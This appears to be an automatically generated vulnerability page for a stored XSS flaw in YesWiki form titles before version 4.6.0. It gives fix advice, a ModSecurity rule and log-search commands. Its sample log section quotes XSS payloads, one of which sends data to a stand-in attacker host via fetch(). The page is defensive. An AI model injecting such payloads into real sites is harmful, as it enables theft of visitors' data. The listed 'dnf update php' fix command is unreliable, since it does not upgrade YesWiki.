CVE-2026-34598·PHP vulnerability

How likely is exploitation

FIRST's Exploit Prediction Scoring System puts the probability of this CVE being exploited in the next 30 days at <0.1% — higher than 20% of all published CVEs. EPSS is an independent forecast of exploitation, not a severity rating: it says nothing about how much damage a successful attack does, which is what a CVSS score measures.

Affected versions

How to fix this CVE

YesWiki installations running versions prior to 4.6.0 contain a stored XSS vulnerability in form title fields that allows unauthenticated attackers to inject malicious scripts into the database. Upgrade YesWiki to version 4.6.0 or later to patch this vulnerability. Additionally, review any form titles created before the upgrade and sanitize user-supplied input in form handling functions.

sudo dnf update php php-common php-cli -y && sudo systemctl restart httpd

What an exploitation attempt looks like

Sample log line indicative of exploitation attempts:

POST request to form creation/edit endpoint with title parameter containing script tags or JavaScript event handlers, e.g., `title=<script>alert('xss')</script>` or `title="onload=fetch('http://attacker.com/steal?data='` appearing in web server logs or WAF logs

WAF mitigation (if patching is not yet possible)

Add this rule to your WAF to block exploitation attempts while you schedule the patch.

Implement ModSecurity rule to block POST requests to form-related endpoints where the title parameter contains unescaped HTML tags or event handlers: `SecRule ARGS:title "@rx (?i)(<script|javascript:|onerror=|onload=|onclick=)" "id:1000,phase:2,deny,status:403,msg:'XSS attempt in form title'`

How to check if you are affected

1. Check YesWiki version: Run `grep -r 'version' /path/to/yeswiki/VERSION.txt` or check the admin panel under System Settings to identify if your installation is below 4.6.0
2. Identify exposed form components: Review database tables containing form metadata (typically `yeswiki_forms` or similar) to list all forms and their title fields
3. Search access logs for suspicious form submissions: Run `grep -i 'POST.*form' /var/log/apache2/access.log | grep -E '[<>"\']' | head -20` to identify potential XSS payload submissions
4. Verify patch application: After upgrading, run `grep -r 'htmlspecialchars\|htmlentities' /path/to/yeswiki/ | grep -i title` to confirm output encoding is applied to form titles

FAQ

Related PHP CVEs

References

• https://github.com/YesWiki/yeswiki/releases/tag/v4.6.0
• https://github.com/YesWiki/yeswiki/security/advisories/GHSA-37fq-47qj-6j5j